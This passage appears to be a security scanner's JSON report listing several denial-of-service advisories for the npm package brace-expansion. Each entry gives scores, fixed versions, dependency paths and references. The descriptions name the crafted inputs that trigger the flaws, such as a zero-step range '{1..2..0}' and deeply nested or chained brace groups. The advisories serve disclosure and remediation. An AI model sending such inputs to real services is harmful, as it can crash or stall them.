"severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, 